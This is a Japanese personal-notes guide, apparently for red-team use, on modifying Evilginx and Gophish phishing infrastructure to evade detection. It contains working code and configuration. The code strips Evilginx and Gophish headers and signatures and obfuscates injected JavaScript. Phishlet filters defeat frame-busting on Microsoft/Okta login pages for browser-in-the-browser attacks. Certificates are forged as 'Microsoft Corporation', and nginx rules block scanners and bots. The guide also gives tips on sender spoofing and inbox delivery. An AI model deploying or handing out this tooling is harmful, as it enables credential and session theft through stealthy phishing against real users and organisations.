
Evilginx フィッシングインフラストラクチャ設定ガイド - Evilginx と Gophish インフラストラクチャのセキュリティ強化、IOC の除去、フィッシング TTP
注記: これらは私の個人ノートのコピーです。完全にこれらに依存しないでください。
期限切れドメインを確認し、良さそうなものを購入する
ドメインカテゴリ分類
ドメインレピュテーションの確認/報告の自動化
ブログ

方法1 : メールサービスプロバイダの利用
方法2 : その他のテクニック
Technique 1 : Andre Rosario氏 - BreakDev Red Discordより
[email protected] からのメールに見えるが、実際には [email protected] からのものである(技術者なら簡単に見抜けるが)。Technique 2 : Azureの外部招待機能の利用 - BreakDev Red Discordより
Evilginxフィッシュレットの構築
Evilginxインストールスクリプト
Evilginxインフラ保護のヒント -
https://github.com/An0nUD4Y/Evilginx2-Phishlets#securing-evilginx-infra-tips
- フィッシングページ上のURLを書き換え、URLパスパターンマッチングによる検出を回避する(Kuba氏による)。
- IOC(X-Evilginxヘッダーとデフォルトの証明書詳細)を削除する
- 認証されていないリダイレクトの静的コンテンツを修正する
- Let'sEncryptから各サブドメインごとにリクエストするのではなく、ルートドメインのワイルドカード証明書をリクエストするようにコードを修正する(Kuba氏のブログ参照) - 参考リポジトリ: https://github.com/ss23/evilginx2
- evilginxをプロキシの背後に配置し、TLSフィンガープリンティング(JA3およびJA3S)を防ぐ
- 可能であれば、間にCloudflareを使用する(SSL設定を正しく構成し、Cloudflare設定で「Full」に変更する必要がある)
- 既知のASNブラックリストを使用して検出を回避する(例: https://github.com/aalex954/evilginx2-TTPs#ip-blacklist)
- 可能であればフィッシュレット内のproxyhostの数を減らし、コンテンツ読み込み時間を短縮する
- AzureでEvilginxをホストし、そのドメインを使用する(フィッシュレット内のプロキシホストを1つに制限するか、方法を見つける。複数のAzureサブドメインを作成して試すのも良い)
- sub_filtersを追加してページのコンテンツを変更し、コンテンツベースの検出を回避する(ファビコン、フォームタイトルのフォントやスタイル、関連するものなど)
- フィッシュレットのsub_filtersを使用して、フィードバック/テレメトリ/ログ/アナリティクスのサブドメインをブロックする。これらはドメインを記録したり、後の分析に役立つ可能性がある。
- js-injectedが静的か動的かを確認し、静的な場合はevilginxのjs-injectコードを変更して、ユーザー/ターゲットごとに動的/難読化されたバージョンのjsを作成する。
- EvilginxインフラのIPが漏洩しないようにする。DNS履歴を確認し、どこにも保存されていないことを確認する(アナリストはドメインの古いDNSレコードを調べる可能性がある)
- この研究に注意: https://catching-transparent-phish.github.io/catching_transparent_phish.pdf 、リポジトリ - https://catching-transparent-phish.github.io/
これらの修正は、最新のevilginx + gophishバージョン(evilginx3.3)でも動作します。
ヒント : evilginxと一緒に使用する場合、フィッシングテンプレートで{{.URL}}パラメーターを使用します( https://github.com/kgretzky/evilginx2/issues/1042#issuecomment-2052073864)
GoPhishインフラを保護するためのGoPhishソースコードとファイル構造の修正
X-Gophishインスタンスの削除( X-Gophish-Contact 、 X-Gophish-Signature)
const ServerName= "gophish"を削除し、ファイルconfig/config.goでconst ServerName= "IGNORE"に変更します。
config.jsonファイルのデフォルトの管理サーバーポートを変更します。
SMTPテスト中の検出を避けるために、テストメールメッセージの署名を変更します。Controllers > api > util.go
Controllers > api > util.go
models > testdata > email_request.go
models > testdata > email_request_test.go
models > testdata > maillog.go
models > testdata > maillog_test.go
models > testdata > smtp_test.go
404応答の変更
メールを受信箱に届けるためのランダムなヒント
ブログ/トーク/参考資料
X-Evilginxヘッダーを削除する(req.Header.Setのコード行をすべて確認し、core/http_proxy.goファイルの関連関数をコメントアウトする)
// 469行目をコメントアウト
req.Header.Set(p.getHomeDir(), o_host)
// 659行目をコメントアウト
req.Header.Set(p.getHomeDir(), o_host)
// 1791-1793行目の関数をコメントアウト
func (p *HttpProxy) getHomeDir() string {
return strings.Replace(HOME_DIR, ".e", "X-E", 1)
}
// 52-54行目をコメントアウト
const (
HOME_DIR = ".evilginx"
)
認証されていないリダイレクトの静的コンテンツを修正するには、core/http_proxy.goファイル内の <html> を検索し、HTMLコードを修正して静的シグネチャを削除する。
また、静的に注入されたjsコードのシグネチャ検出を回避するには、以下のようにコードを修正する。
インポートに "github.com/tdewolff/minify/js" を追加することを忘れずに
re := regexp.MustCompile(`(?i)(<\s*/body\s*>)`)
var d_inject string
if script != "" {
minifier := minify.New() // "github.com/tdewolff/minify/js"
minifier.AddFunc("text/javascript", js.Minify)
obfuscatedScript, err := minifier.String("text/javascript", script)
if err != nil {
// エラー処理 - 難読化に失敗
d_inject = "<script" + js_nonce + ">" + "function doNothing() {var x =0};" + script + "</script>\n${1}"
}
d_inject = "<script" + js_nonce + ">" + "function doNothing() {var x =0};" + obfuscatedScript + "</script>\n${1}"
//d_inject = "<script" + js_nonce + ">" + "function doNothing() {var x =0};" + script + "</script>\n${1}"
} else if src_url != "" {
d_inject = "<script" + js_nonce + " type=\"application/javascript\" src=\"" + src_url + "\"></script>\n${1}"
} else {
return body
}
core/cert.db ファイルも修正する
gophish用の “rid” を変更する。
evilginxの前段にnginx、caddyなどのプロキシを配置する。
リダイレクタを使用する
<meta http-equiv="refresh" content="5;url=https://example.com">デフォルトのルアーURLパターン(長さ8のランダム文字列)を変更する。
// core/terminal.go ファイルの728行目
l := &Lure{
Path: "/" + GenRandomString(8),
Phishlet: args[1],
}
フィッシングページのURLを書き換え、URLパスパターンマッチングによる検出を回避する(Kuba氏による)。[この機能はevilginxの公開バージョンでは利用できません。自分で実装する必要があります。]
# Evilginx Pro版のみで動作
# 同様の機能は公開バージョンでも実装可能。
rewrite_urls:
trigger:
domains: ['www.linkedin.com']
paths: ['^/login$']
rewrite:
path: '/this/is/not/the/path/you/are/looking/for.php'
query:
{key:'a', value: 'HOW'}
{key:'b', value: 'MUCH'}
{key:'d', value: 'IS'}
{key:'e', value: 'THE'}
{key:'f', value: 'PHISH'}
{key:'q', value: '{id}'}

ルアー/セッション識別子クッキーの署名パターンと値を変更する(@rad9800 氏による)
Referrerヘッダーがフィッシングドメイン名を漏洩するのをブロックする - この研究ブログを参照:
resp.Header.Set("Referrer-Policy", "no-referrer")独自のCSP(コンテンツセキュリティポリシー)を定義し、テレメトリ/カナリア/フィッシングドメインの漏洩による検出を回避する。
ターゲットサイトがカナリアトークン(CSS、JS)を使用しているか確認し、それらを回避する
JA4フィンガープリント回避
BITB + evilginx + フレーム破壊バイパス
- triggers_on: 'login.microsoftonline.com'
orig_sub: ''
domain: 'okta.com'
search: 'if\(e.self===e.top\){'
replace: 'if(true){window.oldself=e.self;e.self=e.top;'
mimes: ['text/html', 'charset=utf-8']
```- triggers_on: 'login.microsoftonline.com'
orig_sub: ''
domain: 'okta.com'
search: 'X-Frame-Options: DENY'
replace: 'Test: test'
mimes: ['text/html', 'charset=utf-8']
if (top != self)
if (top.location != self.location)
if (top.location != location)
if (parent.frames.length > 0)
if (window != top)
if (window.top !== window.self)
if (window.self != window.top)
if (parent && parent != window)
if (parent && parent.frames && parent.frames.length>0)
if((self.parent&&!(self.parent===self))&&(self.parent.frames.length!=0))
top.location.replace(self.location)
top.location.href = window.location.href
top.location.replace(document.location)
top.location.href = window.location.href
top.location.href = "URL"
document.write(’’)
top.location = location
top.location.replace(document.location)
top.location.replace(’URL’)
top.location.href = document.location
top.location.replace(window.location.href)
top.location.href = location.href
self.parent.location = document.location
parent.location.href = self.document.location
top.location.href = self.location
top.location = window.location
top.location.replace(window.location.pathname)
window.top.location = window.self.location
setTimeout(function(){document.body.innerHTML=’’;},1);
window.self.onload = function(evt){document.body.innerHTML=’’;}
var url = window.location.href; top.location.replace(url)
controllers/phish.goファイルに以下のカスタム関数を追加します。
func customNotFound(w http.ResponseWriter, r *http.Request) {
http.Error(w, "Try again!", http.StatusNotFound)
}
次に、http.NotFound(w, r)のインスタンスをすべてcustomNotFound(w, r)に置き換えます。
robots.txtのハードコードされた応答を削除し、ファイルcontrollers/phish.goで修正します。
phish.goファイルの該当コードを以下のように修正します。
//修正された応答
// RobotsHandlerは検索エンジンなどがフィッシング素材をインデックスするのを防ぎます
func (ps *PhishingServer) RobotsHandler(w http.ResponseWriter, r *http.Request) {
fmt.Fprintln(w, "User-agent: *\nDisallow: /*/*\nDisallow: /.git/*")
}
リクエストの"rid"GETパラメーターを変更します。
"rid"のインスタンスをすべて他のものに変更してください。高度な防止策として、静的フォルダーを変更して別の名前にリネームし、内部のファイル名も変更してパスベースの検出を回避できます。関連するソースコードも変更することを忘れないでください。
util/util.goファイルの証明書プロパティを変更します。
template := x509.Certificate{
SerialNumber: serialNumber,
Subject: pkix.Name{
//Organization: []string{"Gophish"},
Organization: []string{"Microsoft Corporation"},
},
Nginxを使用してトラフィックをプロキシし、Golangサーバーのフィンガープリントを回避します。
service nginx start
gophishのconfig.jsonを変更して、HTTPのポートを80から8080に、HTTPSのデフォルトを60002に変更します。以下の通りです。
{
"admin_server": {
"listen_url": "127.0.0.1:60002",
"use_tls": true,
"cert_path": "gophish_admin.crt",
"key_path": "gophish_admin.key",
"trusted_origins": []
},
"phish_server": {
"listen_url": "127.0.0.1:8080",
"use_tls": false,
"cert_path": "example.crt",
"key_path": "example.key"
},
"db_name": "sqlite3",
"db_path": "gophish.db",
"migrations_prefix": "db/db_",
"contact_address": "",
"logging": {
"filename": "",
"level": ""
}
}
以下の設定は、User-Agentに"Bot"または"bot"を含むすべてのリクエストをブロックします。
# /etc/nginx/nginx.conf
events {
# イベント処理パラメーターをここで定義
worker_connections 1024; # 要件に応じて調整
}
http {
upstream backend {
server localhost:8080;
}
# HTTPサーバー
server {
listen 80 default_server;
# User-Agentに"bot"または"Bot"を含むリクエストを拒否
if ($http_user_agent ~* (bot|Bot)) {
return 403;
}
location / {
proxy_pass http://backend;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}
upstream backend_https {
server localhost:60002;
}
# HTTPSサーバー
server {
listen 60001 ssl default_server;
ssl_certificate /root/Phishing/gophish-mod/gophish_admin.crt;
ssl_certificate_key /root/Phishing/gophish-mod/gophish_admin.key;
# User-Agentに"bot"または"Bot"を含むリクエストを拒否
if ($http_user_agent ~* (bot|Bot)) {
return 403;
}
location / {
proxy_pass https://backend_https;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}
}
特定のUser-Agentのみを許可するには、以下の設定を使用します。これにより、User-Agentが"iamdevil"のリクエストのみを許可し、それ以外はすべてブロックします。
# /etc/nginx/nginx.conf
events {
# イベント処理パラメーターをここで定義
worker_connections 1024; # 要件に応じて調整
}
http {
upstream backend {
server localhost:8080;
}
# HTTPサーバー
server {
listen 80 default_server;
# "iamdevil"以外のUser-Agentを持つリクエストを拒否
if ($http_user_agent != "iamdevil") {
return 403;
}
location / {
proxy_pass http://backend;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}
upstream backend_https {
server localhost:60002;
}
# HTTPSサーバー
server {
listen 60001 ssl default_server;
ssl_certificate /root/Phishing/gophish-mod/gophish_admin.crt;
ssl_certificate_key /root/Phishing/gophish-mod/gophish_admin.key;
# "iamdevil"以外のUser-Agentを持つリクエストを拒否
if ($http_user_agent != "iamdevil") {
return 403;
}
location / {
proxy_pass https://backend_https;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}
}
署名されたトラッキングピクセルに基づく検出を回避するために、Gophishトラッキングピクセルの署名を変更します。
gophishのメールヘッダーのシーケンスパターンを変更します。これはgophishの検出に使用される可能性があります(BreakDev Red Communityより)。
gophishの前にPostFixをセットアップして、IOCやその他の検出、メールのスパム性を除去し、ヘッダーを修正・削除します。
GoPhish研究ブログ・講演 :
GoPhishの代替 :